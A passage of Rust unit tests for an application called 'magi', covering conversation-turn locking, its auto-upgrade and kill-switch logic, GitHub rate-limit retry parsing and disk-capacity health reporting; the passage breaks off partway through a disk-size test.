22893            ("RELEASE".to_owned(), release.to_string_lossy().into_owned()),
22894        ]);
22895        let questions = ui.questions.clone();
22896        let cli_talks = Talks::at(ui.home.join("talks"));
22897        let cli_q = q.clone();
22898        let turn = tokio::spawn(async move {
22899            crate::consult::start_turn(&questions, &cli_talks, &cli_q, &talk, &cfg).await
22900        });
22901        let ready = tokio::time::timeout(Duration::from_secs(30), async {
22902            while !started.exists() {
22903                tokio::time::sleep(Duration::from_millis(10)).await;
22904            }
22905        })
22906        .await;
22907        // Always release and join the agent, even if readiness or the web
22908        // request fails, so a failed assertion cannot leave a turn behind.
22909        let refusal = if ready.is_ok() {
22910            let before = consult_snapshot(&ui, &q, &id);
22911            let result = talk_say(
22912                State(Arc::clone(&ui)),
22913                Path(id.clone()),
22914                Ok(Json(NewTalkTurn {
22915                    reply_to: None,
22916                    text: "another message".to_owned(),
22917                    attachments: Vec::new(),
22918                })),
22919            )
22920            .await;
22921            Some((result, before, consult_snapshot(&ui, &q, &id)))
22922        } else {
22923            None
22924        };
22925        std::fs::write(&release, "").expect("release agent");
22926        let done = turn.await.expect("join CLI turn");
22927        ready.expect("agent started before deadline");
22928        let (result, before, after) = refusal.expect("web request");
22929        let error = result.expect_err("web must refuse the CLI's turn");
22930        assert_eq!(error.status, StatusCode::CONFLICT);
22931        assert!(error.message.contains("a turn is already running"));
22932        assert_eq!(
22933            after, before,
22934            "refusal preserves question, draft and history"
22935        );
22936        assert_eq!(done.expect("CLI turn"), crate::consult::Started::Answered);
22937        let guard = ui
22938            .begin_talk_turn(&id)
22939            .expect("web claim")
22940            .expect("free again");
22941        drop(guard);
22942    }
22943
22944    #[test]
22945    fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
22946        let home = TempDir::new().expect("temp home");
22947        let talks = Talks::at(home.path().join("talks"));
22948        let ui = Ui::new(
22949            Queue::at(home.path().join("queue")),
22950            Questions::at(home.path().join("questions")),
22951            talks.clone(),
22952            home.path().join("runs"),
22953            home.path().to_path_buf(),
22954            PathBuf::from("/repo"),
22955        )
22956        .with_worktrees_root(home.path().join("wt"));
22957        let id = "20260901-000000-order";
22958        let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
22959        // Hold the slot mutex so the drop can finish the lease but not the slot.
22960        let slots = ui.talk_turns.lock().unwrap();
22961        let dropper = std::thread::spawn(move || drop(turn));
22962        let start = std::time::Instant::now();
22963        while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
22964            std::thread::sleep(Duration::from_millis(5));
22965        }
22966        assert!(!talks.turn_held(id), "the lease is released first");
22967        assert!(slots.live.contains(id), "the slot is still held meanwhile");
22968        drop(slots);
22969        dropper.join().expect("join");
22970        assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
22971    }
22972
22973    #[tokio::test]
22974    async fn an_upgrade_is_refused_for_a_legacy_scheduler() {
22975        let fx = Fixture::start().await;
22976        let mut beat = crate::daemon::Status::new();
22977        beat.worker_protocol = None;
22978        beat.pid = 4321;
22979        beat.updated_at = jiff::Timestamp::now();
22980        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
22981            .expect("publish a heartbeat");
22982
22983        let res = fx.post("/api/upgrade", None).await;
22984        assert_eq!(res.status, 409);
22985    }
22986
22987    /// [`should_spawn_recheck`] must refuse for the same two reasons
22988    /// [`Checker::new`](crate::updater::Checker::new) and `upgrade_post`
22989    /// already do: `mode = "off"` and the `MAGI_NO_AUTOUPDATE` kill switch.
22990    /// Purely a predicate over config and the environment - no network, no
22991    /// disk, no runtime - so unlike the fixture-based tests around it this
22992    /// one needs neither.
22993    #[test]
22994    fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
22995        assert!(!should_spawn_recheck(&crate::config::Update {
22996            mode: UpdateMode::Off,
22997            interval: None,
22998            auto_restart: false,
22999        }));
23000
23001        // SAFETY: single-threaded as far as this variable goes, the same
23002        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
23003        unsafe {
23004            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
23005        }
23006        let killed = should_spawn_recheck(&crate::config::Update {
23007            mode: UpdateMode::Notify,
23008            interval: None,
23009            auto_restart: false,
23010        });
23011        unsafe {
23012            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
23013        }
23014        assert!(
23015            !killed,
23016            "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
23017             one-time startup check"
23018        );
23019
23020        assert!(should_spawn_recheck(&crate::config::Update {
23021            mode: UpdateMode::Notify,
23022            interval: None,
23023            auto_restart: false,
23024        }));
23025    }
23026
23027    /// [`recheck_poll_period`] must track a configured `[update] interval`
23028    /// shorter than its own default ceiling - a fixed sleep here would leave
23029    /// an operator's short interval waiting on the next wake-up instead of on
23030    /// `should_check`, which is the same bug this whole task exists to fix,
23031    /// just one level down.
23032    #[test]
23033    fn recheck_poll_period_tracks_a_short_configured_interval() {
23034        let short = crate::config::Update {
23035            mode: UpdateMode::Notify,
23036            interval: Some("1m".to_owned()),
23037            auto_restart: false,
23038        };
23039        let period = recheck_poll_period(&short);
23040        assert!(
23041            period <= Duration::from_secs(30),
23042            "a one-minute interval must wake the task far sooner than the \
23043             default ceiling, or the deck would not notice within the \
23044             interval the operator configured: got {period:?}"
23045        );
23046
23047        let default = crate::config::Update {
23048            mode: UpdateMode::Notify,
23049            interval: None,
23050            auto_restart: false,
23051        };
23052        assert_eq!(
23053            recheck_poll_period(&default),
23054            UPDATE_RECHECK_POLL_MAX,
23055            "the default day-long interval should poll at the (capped) \
23056             ceiling rather than needlessly often"
23057        );
23058    }
23059
23060    /// [`update_recheck_due`] must not repeat a check made moments ago, the
23061    /// same throttle `updater::Checker::should_check` already gives the
23062    /// CLI's notify mode. Built over an explicit state file via
23063    /// `Checker::for_test`, never `Checker::new`, so this cannot read or
23064    /// write the operator's real `last_update_check.json` - and therefore
23065    /// cannot flake on whatever that file happens to say on the machine
23066    /// running the test.
23067    #[test]
23068    fn recheck_skips_the_network_before_the_interval_elapses() {
23069        let dir = TempDir::new().expect("temp dir");
23070        let path = dir.path().join("state.json");
23071        let state = kaishin::UpdateCheckState {
23072            last_checked_unix: jiff::Timestamp::now().as_second() as u64,
23073            last_known_latest: None,
23074            last_known_url: None,
23075        };
23076        kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
23077
23078        let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
23079        assert!(
23080            !update_recheck_due(&checker, None),
23081            "a check made moments ago must not be repeated before the \
23082             configured interval elapses"
23083        );
23084    }
23085
23086    /// An upgrade this deck already started must not be raced by a recheck
23087    /// that discovers a newer release mid-install - regardless of what
23088    /// `should_check` says, which is why the state file here is missing
23089    /// entirely: read alone, that alone would answer "never checked, go
23090    /// ahead".
23091    #[test]
23092    fn recheck_defers_to_an_upgrade_already_in_flight() {
23093        let dir = TempDir::new().expect("temp dir");
23094        let path = dir.path().join("state.json");
23095        let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
23096        let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
23097
23098        assert!(
23099            !update_recheck_due(&checker, Some(&progress)),
23100            "a recheck must not run while an upgrade this deck started is \
23101             still moving"
23102        );
23103    }
23104
23105    #[tokio::test]
23106    async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
23107        // The same env var the background check honours (`disabled_by_env`)
23108        // must also stop a button press before it ever calls
23109        // `Checker::newer_release` - an operator who set `MAGI_NO_AUTOUPDATE`
23110        // means "never contact GitHub from this process", and a tap on the
23111        // upgrade button must not override that any more than a broken
23112        // `magi.toml` may. Left unset, this fixture's default config would
23113        // otherwise reach a real, unauthenticated GitHub call.
23114        //
23115        // SAFETY: single-threaded as far as this variable goes - nothing else
23116        // in this binary reads `MAGI_NO_AUTOUPDATE` concurrently, the same
23117        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
23118        unsafe {
23119            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
23120        }
23121        let fx = Fixture::start().await;
23122        let res = fx.post("/api/upgrade", None).await;
23123        unsafe {
23124            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
23125        }
23126        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
23127        let body = res.json();
23128        assert!(body["to"].is_null(), "there was no release to move to");
23129        assert!(body["parked"].is_null(), "and nothing was parked");
23130        assert!(
23131            body["detail"]
23132                .as_str()
23133                .unwrap()
23134                .contains("disabled by MAGI_NO_AUTOUPDATE"),
23135            "{body:?}"
23136        );
23137    }
23138
23139    #[test]
23140    fn auto_upgrade_decision_respects_policy_work_and_failed_tags() {
23141        use AutoUpgradeDecision::{Skip, Trigger, Wait};
23142        let mut cfg = Update::default();
23143        assert!(matches!(
23144            auto_upgrade_decision(&cfg, false, false, false, "v2", None),
23145            Skip(_)
23146        ));
23147        cfg.auto_restart = true;
23148        assert_eq!(
23149            auto_upgrade_decision(&cfg, false, false, false, "v2", None),
23150            Trigger
23151        );
23152        assert_eq!(
23153            auto_upgrade_decision(&cfg, false, false, true, "v2", None),
23154            Wait
23155        );
23156        for (disabled, moving, failed) in [
23157            (true, false, None),
23158            (false, true, None),
23159            (false, false, Some("v2")),
23160        ] {
23161            assert!(matches!(
23162                auto_upgrade_decision(&cfg, disabled, moving, false, "v2", failed),
23163                Skip(_)
23164            ));
23165        }
23166        assert_eq!(
23167            auto_upgrade_decision(&cfg, false, false, false, "v3", Some("v2")),
23168            Trigger
23169        );
23170        cfg.mode = UpdateMode::Off;
23171        assert!(matches!(
23172            auto_upgrade_decision(&cfg, false, false, false, "v2", None),
23173            Skip(_)
23174        ));
23175    }
23176
23177    #[test]
23178    fn auto_upgrade_waits_for_detached_workers_but_not_the_scheduler() {
23179        let home = TempDir::new().unwrap();
23180        let ui = idle_ui(&home);
23181        assert!(!ui.auto_upgrade_busy());
23182        let directory = home.path().join("workers/jobs/abcdef");
23183        std::fs::create_dir_all(&directory).unwrap();
23184        let mut job = crate::worker::Job {
23185            id: "abcdef".into(),
23186            sequence: 1,
23187            kind: "scheduler".into(),
23188            key: "scheduler".into(),
23189            payload: serde_json::json!({}),
23190            generation: "test".into(),
23191            version: None,
23192            status: crate::worker::Status::Running,
23193            result: None,
23194            pid: None,
23195            created_at: 0,
23196            finished_at: None,
23197        };
23198        let lease = crate::worker::execution_lease_for_test(&directory.join("live.lock"));
23199        let write = |job: &crate::worker::Job| {
23200            std::fs::write(directory.join("job.json"), serde_json::to_vec(job).unwrap()).unwrap();
23201        };
23202        write(&job);
23203        assert!(!ui.auto_upgrade_busy(), "an idle scheduler permits updates");
23204        for kind in ["task", "chat"] {
23205            job.kind = kind.into();
23206            write(&job);
23207            assert!(ui.auto_upgrade_busy(), "a detached {kind} defers updates");
23208        }
23209        drop(lease);
23210        // Lease::drop explicitly unlocks even if a concurrent fork inherited
23211        // the descriptor. Check the real decision directly: a raw flock probe
23212        // here could itself be inherited and keep the worker looking busy.
23213        assert!(
23214            !ui.auto_upgrade_busy(),
23215            "completed execution permits updates"
23216        );
23217        std::fs::create_dir_all(home.path().join("workers/jobs/bad")).unwrap();
23218        assert!(
23219            ui.auto_upgrade_busy(),
23220            "unreadable worker state defers updates"
23221        );
23222    }
23223
23224    fn fail_test_upgrade(_: PathBuf) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
23225        Box::pin(async { anyhow::bail!("test installer failed") })
23226    }
23227
23228    #[tokio::test]
23229    async fn auto_upgrade_uses_shared_progress_and_failure_cleanup_only_when_idle() {
23230        let home = TempDir::new().unwrap();
23231        std::fs::write(
23232            home.path().join("magi.toml"),
23233            "[update]\nauto_restart = true\n",
23234        )
23235        .unwrap();
23236        let mut ui = idle_ui(&home);
23237        ui.repo = home.path().to_path_buf();
23238        // Every successful trigger in this test uses this seam, never the installer.
23239        ui.upgrade_runner = fail_test_upgrade;
23240        let ui = Arc::new(ui);
23241        let latest = || {
23242            Some(kaishin::LatestRelease {
23243                tag_name: "v999.0.0".into(),
23244                html_url: String::new(),
23245            })
23246        };
23247        ui.talk_turns.lock().unwrap().live.insert("busy".into());
23248        assert_eq!(
23249            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
23250                .await
23251                .status(),
23252            StatusCode::NO_CONTENT
23253        );
23254        assert!(updater::read_progress(home.path()).is_none());
23255        ui.talk_turns.lock().unwrap().live.clear();
23256        let gate = ui.upgrade_gate.lock().await;
23257        assert_eq!(
23258            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
23259                .await
23260                .status(),
23261            StatusCode::CONFLICT
23262        );
23263        drop(gate);
23264        assert_eq!(
23265            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
23266                .await
23267                .status(),
23268            StatusCode::ACCEPTED
23269        );
23270        let progress = updater::read_progress(home.path()).unwrap();
23271        assert_eq!(progress.trigger, updater::UpgradeTrigger::Auto);
23272        assert_eq!(progress.stage, updater::Stage::Downloading);
23273        assert!(progress.parked_run.is_none());
23274        assert!(ui.start_detached_loop().await.is_err());
23275        assert!(ui.start_loop(None).is_err());
23276        assert!(ui.begin_resume("late").is_err());
23277        tokio::time::timeout(Duration::from_secs(2), async {
23278            while ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
23279                tokio::task::yield_now().await;
23280            }
23281        })
23282        .await
23283        .unwrap();
23284        let progress = updater::read_progress(home.path()).unwrap();
23285        assert_eq!(progress.stage, updater::Stage::Failed);
23286        assert_eq!(
23287            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
23288                .await
23289                .status(),
23290            StatusCode::NO_CONTENT
23291        );
23292        // The manual shared path records the same progress and runs the same seam.
23293        let result = upgrade_checked(&ui, "old".into(), Ok(latest()));
23294        assert_eq!(
23295            finish_upgrade_request(&ui, result).status(),
23296            StatusCode::ACCEPTED
23297        );
23298        assert_eq!(
23299            updater::read_progress(home.path()).unwrap().trigger,
23300            updater::UpgradeTrigger::Manual
23301        );
23302        tokio::time::timeout(Duration::from_secs(2), async {
23303            while ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
23304                tokio::task::yield_now().await;
23305            }
23306        })
23307        .await
23308        .unwrap();
23309    }
23310
23311    fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
23312        let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
23313        p.stage = stage;
23314        p
23315    }
23316
23317    #[test]
23318    fn busy_stages_match_the_ui_set() {
23319        use crate::updater::Stage;
23320        assert!(APP_JS.contains(
23321            "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
23322        ));
23323        for s in [
23324            Stage::Downloading,
23325            Stage::Replaced,
23326            Stage::Parking,
23327            Stage::Restarting,
23328        ] {
23329            assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
23330        }
23331        for s in [Stage::Done, Stage::Failed] {
23332            assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
23333        }
23334        assert!(upgrade_in_motion(None).is_none());
23335    }
23336
23337    #[tokio::test]
23338    async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
23339        use crate::updater::Stage;
23340        for stage in [
23341            Stage::Downloading,
23342            Stage::Replaced,
23343            Stage::Parking,
23344            Stage::Restarting,
23345        ] {
23346            let fx = Fixture::start().await;
23347            let seeded = seeded_progress(stage);
23348            crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
23349            let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
23350                .expect("read");
23351
23352            let res = fx.post("/api/upgrade", None).await;
23353            assert_eq!(res.status, 409, "{stage:?}");
23354            let err = res.json()["error"].as_str().unwrap().to_owned();
23355            assert!(err.contains("already in progress"), "{err}");
23356            assert!(err.contains(stage.as_str()), "{err}");
23357
23358            let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
23359                .expect("read");
23360            assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
23361            let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
23362                .unwrap_or_default();
23363            assert!(!log.contains("signalling HANDOVER"), "{log}");
23364        }
23365    }
23366
23367    #[test]
23368    fn upgrade_retry_timing_only_parses_known_diagnostics() {
23369        assert_eq!(
23370            upgrade_retry_after("GitHub API rate limit exceeded (resets in 1h 2m 3s). Use a token"),
23371            Some(3723)
23372        );
23373        assert_eq!(
23374            upgrade_retry_after("GitHub secondary rate limit hit (retry after 1m). Slow down"),
23375            Some(60)
23376        );
23377        assert_eq!(
23378            upgrade_retry_after("GitHub API rate limit exceeded (retry now)"),
23379            Some(0)
23380        );
23381        for message in [
23382            "permission denied",
23383            "GitHub API rate limit exceeded",
23384            "GitHub rate limit (resets in unknown)",
23385            "GitHub rate limit (resets in 18446744073709551615d)",
23386        ] {
23387            assert_eq!(upgrade_retry_after(message), None, "{message}");
23388        }
23389    }
23390
23391    #[tokio::test]
23392    async fn upgrade_request_failure_survives_health_without_changing_successful_progress() {
23393        let home = TempDir::new().unwrap();
23394        let ui = Arc::new(idle_ui(&home).with_worktrees_root(home.path().join("wt")));
23395        ui.start_loop(None).unwrap();
23396        updater::write_progress(home.path(), &seeded_progress(updater::Stage::Done)).unwrap();
23397        let before = std::fs::read(updater::progress_path(home.path())).unwrap();
23398        let reason = "GitHub API rate limit exceeded (resets in 2m). Authenticate the request";
23399        let result = upgrade_checked(&ui, "0.1.0".into(), Err(anyhow::anyhow!(reason)));
23400        let response = finish_upgrade_request(&ui, result);
23401        assert_eq!(response.status(), StatusCode::INTERNAL_SERVER_ERROR);
23402        assert_eq!(response.headers()["retry-after"], "120");
23403        let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
23404            .await
23405            .unwrap();
23406        let body: serde_json::Value = serde_json::from_slice(&bytes).unwrap();
23407        assert!(body["error"].as_str().unwrap().contains(reason));
23408        assert_eq!(body["retry_after_secs"], 120);
23409        assert!(body["retry_at"].as_u64().is_some());
23410        for _ in 0..2 {
23411            let view = health(State(ui.clone())).await.unwrap().0;
23412            let failure = serde_json::to_value(view.upgrade_request_error).unwrap();
23413            assert_eq!(failure, body);
23414        }
23415        assert_eq!(
23416            std::fs::read(updater::progress_path(home.path())).unwrap(),
23417            before
23418        );
23419        assert!(!ui.lock_loop().live.as_ref().unwrap().stop.stopped());
23420        assert!(!ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst));
23421        // A conflicting request must not erase the actionable earlier failure.
23422        let gate = ui.upgrade_gate.lock().await;
23423        assert_eq!(
23424            upgrade_post(State(ui.clone())).await.status(),
23425            StatusCode::CONFLICT
23426        );
23427        drop(gate);
23428        assert!(
23429            health(State(ui.clone()))
23430                .await
23431                .unwrap()
23432                .0
23433                .upgrade_request_error
23434                .is_some()
23435        );
23436        let out = upgrade_checked(&ui, "0.1.0".into(), Ok(None));
23437        assert_eq!(finish_upgrade_request(&ui, out).status(), StatusCode::OK);
23438        assert!(
23439            health(State(ui.clone()))
23440                .await
23441                .unwrap()
23442                .0
23443                .upgrade_request_error
23444                .is_none()
23445        );
23446        let live = ui.lock_loop().live.take().unwrap();
23447        live.stop.stop();
23448        live.handle.await.unwrap();
23449    }
23450
23451    #[tokio::test]
23452    async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
23453        use crate::updater::Stage;
23454        let repo = TempDir::new().expect("repo dir");
23455        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
23456            .expect("write magi.toml");
23457        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
23458        for stage in [Stage::Done, Stage::Failed] {
23459            crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
23460            let res = fx.post("/api/upgrade", None).await;
23461            assert_eq!(res.status, 200, "{stage:?}");
23462        }
23463        // No record at all, and the gate was released by the earlier calls.
23464        let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
23465        assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
23466    }
23467
23468    #[tokio::test]
23469    async fn an_upgrade_with_nothing_to_install_changes_nothing() {
23470        // `[update] mode = "off"` so `updater::Checker::new` returns `None`
23471        // and the route answers from its own logic.
23472        //
23473        // This test used to lean on the fixture's placeholder repo failing
23474        // config discovery, which left `mode = "notify"` - and a live,
23475        // unauthenticated call to the GitHub releases API inside a unit test.
23476        // GitHub allows 60 of those an hour per address, so the suite went red
23477        // on `macos-latest` and nowhere else, in bursts, and stayed red for as
23478        // long as somebody kept re-running it: every attempt spent another
23479        // request. Six reruns across four pull requests were charged to that
23480        // before it was read as a rate limit rather than a flake.
23481        //
23482        // What the assertion is about is the "already current" branch, which
23483        // is reached by there being no newer release *or* nowhere to look. The
23484        // second one needs no network and cannot be rate limited.
23485        let repo = TempDir::new().expect("repo dir");
23486        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
23487            .expect("write magi.toml");
23488        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
23489
23490        // It must answer 200 and leave the process alone: restarting for an
23491        // upgrade that did not happen parks the run in flight and drops every
23492        // connection to pay for nothing. A probe against a deck already on the
23493        // newest build did exactly that, which is how this case got its own
23494        // branch.
23495        let res = fx.post("/api/upgrade", None).await;
23496        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
23497        let body = res.json();
23498        assert!(body["to"].is_null(), "there was no release to move to");
23499        assert!(body["parked"].is_null(), "and nothing was parked");
23500        assert!(
23501            body["detail"]
23502                .as_str()
23503                .unwrap()
23504                .contains("nothing restarted"),
23505            "{body:?}"
23506        );
23507    }
23508
23509    async fn wait_for_disk_scan(state: &Arc<Mutex<DiskObservation>>) {
23510        tokio::time::timeout(Duration::from_secs(5), async {
23511            while state.lock().unwrap().in_flight {
23512                tokio::task::yield_now().await;
23513            }
23514        })
23515        .await
23516        .expect("capacity scan finished");
23517    }
23518
23519    fn disk_test_scope(home: &FsPath) -> DiskScope {
23520        DiskScope {
23521            runs: home.join("runs"),
23522            worktrees: home.join("worktrees"),
23523            cache: Some(home.join("cache")),
23524        }
23525    }
23526
23527    fn known_disk_capacity() -> DiskCapacity {
23528        DiskCapacity {
23529            free_bytes: Some(100),
23530            runs_bytes: Some(200),
23531            worktrees_bytes: Some(300),
23532            cache_bytes: Some(400),
23533        }
23534    }
23535
23536    #[tokio::test]
23537    async fn health_disk_cold_and_concurrent_requests_do_not_wait_for_capacity() {
23538        let home = TempDir::new().unwrap();
23539        std::fs::write(home.path().join("magi.toml"), "[update]\nmode = \"off\"\n").unwrap();
23540        let mut ui = delta_test_ui(home.path());
23541        let state = Arc::get_mut(&mut ui).unwrap();
23542        state.repo = home.path().to_owned();
23543        state.worktrees_root = home.path().join("worktrees");
23544        *ui.monitor.latest.lock().unwrap() = Some(((0, 0, 0, 0, 0, 0), Default::default()));
23545        ui.monitor
23546            .worker_started
23547            .store(true, std::sync::atomic::Ordering::SeqCst);
23548        let cfg = deputy_config(&ui.repo);
23549        let scope = DiskScope::of(&ui, cfg.as_ref());
23550        let (started, reached) = tokio::sync::oneshot::channel();
23551        let (release, blocked) = std::sync::mpsc::channel();
23552        let cold = DiskObservation::observe(&ui.monitor.disk, scope, move |_| {
23553            started.send(()).unwrap();
23554            blocked.recv().unwrap();
23555            known_disk_capacity()
23556        });
23557        assert!(cold.runs_bytes.is_none());
23558        tokio::time::timeout(Duration::from_secs(5), reached)
23559            .await
23560            .unwrap()
23561            .unwrap();
23562
23563        let requests: Vec<_> = (0..4)
23564            .map(|_| {
23565                let ui = ui.clone();
23566                tokio::spawn(async move { health(State(ui)).await.unwrap().0 })
23567            })
23568            .collect();
23569        tokio::time::timeout(Duration::from_secs(5), async {
23570            for request in requests {
23571                let view = request.await.unwrap();
23572                let disk = serde_json::to_value(view.disk).unwrap();
23573                assert!(disk["runs_bytes"].is_null());
23574                assert!(disk["worktrees_bytes"].is_null());
23575                // Free space is a cheap live observation even while the
23576                // recursive capacity measurement remains blocked.
23577                assert!(disk["free_bytes"].is_u64());
23578            }
23579        })
23580        .await
23581        .expect("health must return while the measurement is causally blocked");
23582        assert!(ui.monitor.disk.lock().unwrap().in_flight);
23583        // No competing worker can have published while the first holds flight.
23584        assert!(
23585            ui.monitor
23586                .disk
23587                .lock()
23588                .unwrap()
23589                .capacity
23590                .runs_bytes
23591                .is_none()
23592        );
23593        release.send(()).unwrap();
23594        wait_for_disk_scan(&ui.monitor.disk).await;
23595        assert_eq!(
23596            ui.monitor.disk.lock().unwrap().capacity.runs_bytes,
23597            Some(200)
23598        );
23599    }
23600
23601    #[tokio::test]
23602    async fn health_disk_refresh_retains_successes_and_cadence_starts_at_completion() {
23603        let home = TempDir::new().unwrap();
23604        let scope = disk_test_scope(home.path());
23605        let state = Arc::new(Mutex::new(DiskObservation {
23606            scope: Some(scope.clone()),
23607            capacity: known_disk_capacity(),
23608            finished: Some(std::time::Instant::now() - DISK_REFRESH * 2),
23609            ..Default::default()
23610        }));
23611        let (started, reached) = tokio::sync::oneshot::channel();
23612        let (release, blocked) = std::sync::mpsc::channel();
23613        let before = DiskObservation::observe(&state, scope.clone(), move |_| {
23614            started.send(()).unwrap();
23615            blocked.recv().unwrap();
23616            DiskCapacity {
23617                runs_bytes: Some(250),
23618                ..Default::default()
23619            }
23620        });
23621        assert_eq!(before.cache_bytes, Some(400));
23622        tokio::time::timeout(Duration::from_secs(5), reached)
23623            .await
23624            .unwrap()
23625            .unwrap();
23626        let duplicate_scans = Arc::new(std::sync::atomic::AtomicUsize::new(0));
23627        for _ in 0..4 {
23628            let scans = duplicate_scans.clone();
23629            let during = DiskObservation::observe(&state, scope.clone(), move |_| {
23630                scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
23631                DiskCapacity::default()
23632            });
23633            assert_eq!(during.runs_bytes, Some(200));
23634            assert_eq!(during.cache_bytes, Some(400));
23635        }
23636        release.send(()).unwrap();
23637        wait_for_disk_scan(&state).await;
23638        let scans = duplicate_scans.clone();
23639        let after = DiskObservation::observe(&state, scope, move |_| {
23640            scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
23641            DiskCapacity::default()
23642        });
23643        wait_for_disk_scan(&state).await;
23644        assert_eq!(after.runs_bytes, Some(250));
23645        assert_eq!(after.free_bytes, Some(100));
23646        assert_eq!(after.cache_bytes, Some(400));
23647        assert_eq!(duplicate_scans.load(std::sync::atomic::Ordering::SeqCst), 0);
23648        assert!(state.lock().unwrap().finished.unwrap().elapsed() < DISK_REFRESH);
23649    }
23650
23651    #[tokio::test]
23652    async fn health_disk_changed_scope_never_publishes_the_previous_cache() {
23653        let home = TempDir::new().unwrap();
23654        let old_scope = disk_test_scope(home.path());
23655        let mut new_scope = old_scope.clone();
23656        new_scope.cache = Some(home.path().join("replacement-cache"));
23657        let state = Arc::new(Mutex::new(DiskObservation {
23658            scope: Some(old_scope.clone()),
23659            capacity: known_disk_capacity(),
23660            ..Default::default()
23661        }));
23662        let (started, reached) = tokio::sync::oneshot::channel();
23663        let (release, blocked) = std::sync::mpsc::channel();
23664        DiskObservation::observe(&state, old_scope, move |_| {
23665            started.send(()).unwrap();
23666            blocked.recv().unwrap();
23667            known_disk_capacity()
23668        });
23669        tokio::time::timeout(Duration::from_secs(5), reached)
23670            .await
23671            .unwrap()
23672            .unwrap();
23673        let duplicate_scans = Arc::new(std::sync::atomic::AtomicUsize::new(0));
23674        let scans = duplicate_scans.clone();
23675        let changed = DiskObservation::observe(&state, new_scope.clone(), move |_| {
23676            scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
23677            DiskCapacity::default()
23678        });
23679        assert!(changed.cache_bytes.is_none());
23680        assert!(changed.runs_bytes.is_none());
23681        release.send(()).unwrap();
23682        wait_for_disk_scan(&state).await;
23683        {
23684            let observation = state.lock().unwrap();
23685            assert!(observation.capacity.cache_bytes.is_none());
23686            assert!(observation.finished.is_none());
23687        }
23688        DiskObservation::observe(&state, new_scope.clone(), move |scope| {
23689            assert_eq!(scope, &new_scope);
23690            DiskCapacity {
23691                cache_bytes: Some(999),
23692                ..Default::default()
23693            }
23694        });
23695        wait_for_disk_scan(&state).await;
23696        assert_eq!(state.lock().unwrap().capacity.cache_bytes, Some(999));
23697        assert_eq!(duplicate_scans.load(std::sync::atomic::Ordering::SeqCst), 0);
23698    }
23699
23700    #[tokio::test]
23701    async fn health_disk_panicked_worker_releases_flight_and_retries_after_cadence() {
23702        let home = TempDir::new().unwrap();
23703        let scope = disk_test_scope(home.path());
23704        let state = Arc::new(Mutex::new(DiskObservation {
23705            scope: Some(scope.clone()),
23706            capacity: known_disk_capacity(),
23707            ..Default::default()
23708        }));
23709        DiskObservation::observe(&state, scope.clone(), |_| panic!("capacity worker failure"));
23710        wait_for_disk_scan(&state).await;
23711        {
23712            let mut observation = state.lock().unwrap();
23713            assert_eq!(observation.capacity.cache_bytes, Some(400));
23714            assert!(observation.finished.unwrap().elapsed() < DISK_REFRESH);
23715            observation.finished = Some(std::time::Instant::now() - DISK_REFRESH);
23716        }
23717        DiskObservation::observe(&state, scope, |_| DiskCapacity {
23718            cache_bytes: Some(450),
23719            ..Default::default()
23720        });
23721        wait_for_disk_scan(&state).await;
23722        assert_eq!(state.lock().unwrap().capacity.cache_bytes, Some(450));
23723    }
23724
23725    #[test]
23726    fn health_disk_capacity_counts_empty_and_missing_without_following_links() {
23727        let home = TempDir::new().unwrap();
23728        assert_eq!(disk_capacity_size(&home.path().join("missing")), Some(0));
23729        assert_eq!(disk_capacity_size(home.path()), Some(0));
23730        std::fs::create_dir(home.path().join("nested")).unwrap();
23731        std::fs::write(home.path().join("nested/data"), b"12345").unwrap();
23732        assert_eq!(disk_capacity_size(home.path()), Some(5));
